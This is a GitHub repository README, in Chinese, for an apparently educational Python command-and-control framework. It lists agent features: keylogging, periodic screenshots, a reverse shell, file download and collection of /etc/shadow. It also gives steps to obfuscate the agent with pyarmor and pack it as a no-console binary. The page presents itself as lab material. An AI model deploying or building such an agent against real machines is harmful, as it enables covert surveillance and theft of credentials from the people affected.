cyberfedya666/python-c2
GitHub: cyberfedya666/python-c2
一个基于 Python 的教育用途 C2 框架,提供键盘记录、屏幕截图、反向 Shell 和多 Agent 管理等功能,帮助安全学习者在隔离环境中理解命令与控制机制。
Stars: 1 | Forks: 0
# Python C2 框架
具有键盘记录器、屏幕截图和 reverse shell 功能的教育用 Command & Control 框架。
## 免责声明
仅用于教育目的和隔离的实验室测试。未经书面许可,请勿在非您所有的设备上使用。
## 功能
### 服务端 (c2_server.py)
- 支持多 agent
- agent 管理:列表、选择
- 执行命令:exec、shell
- 键盘记录检索:keylog
- 文件下载:download
- 将屏幕截图保存到 screenshots/ 文件夹
- 连接时自动获取 system_info
### Agent (agent.py)
- 键盘记录器 (pynput)
- 每 30 秒截屏一次 (mss + Pillow)
- 执行系统命令 (exec)
- 交互式 reverse shell
- 文件下载 (download)
- 断线自动重连
- 系统信息收集(主机名、用户名、OS、IP、CPU、/etc/shadow)
- 跨平台 (Linux + Windows)
## 安装说明
git clone https://github.com/cyberfedya666/python-c2.git
cd python-c2
pip install -r requirements.txt
## 环境要求
pynput
Pillow
mss
## 用法
### 服务端 (Kali)
python3 c2_server.py
### Agent (目标机器)
在 agent.py 中将 C2_HOST 修改为服务器 IP。
python3 agent.py
### 将 agent 编译为二进制文件
pyarmor gen agent.py
pyinstaller --onefile --noconsole --hidden-import=pynput --hidden-import=PIL --hidden-import=PIL.Image --hidden-import=mss --collect-binaries mss --collect-submodules PIL dist/agent.py
二进制文件:dist/agent (Linux) 或 dist/agent.exe (Windows,需在 Windows 上编译)。
## 服务端命令
| 命令 | 描述 |
|---------|-------------|
| list | 列出所有已连接的 agent |
| select N | 按索引选择 agent |
| info | 获取系统信息 |
| exec command | 执行系统命令 |
| shell | 交互式 reverse shell |
| keylog | 获取键盘记录数据 |
| download /path | 从 agent 下载文件 |
| screenshot | 截取屏幕 |
| ping | 检查 agent 是否存活 |
| exit | 关闭 agent 连接 |
## 协议
TCP + JSON + Base64。消息分隔符:换行符。
## 许可证
MIT。仅用于教育目的。
标签:C2框架, HTTP工具, IP 地址批量处理, Python, 反向Shell, 安全学习资源, 无后门, 无线安全, 漏洞挖掘, 网络信息收集, 网络安全, 远程控制, 逆向工具, 键盘记录, 隐私保护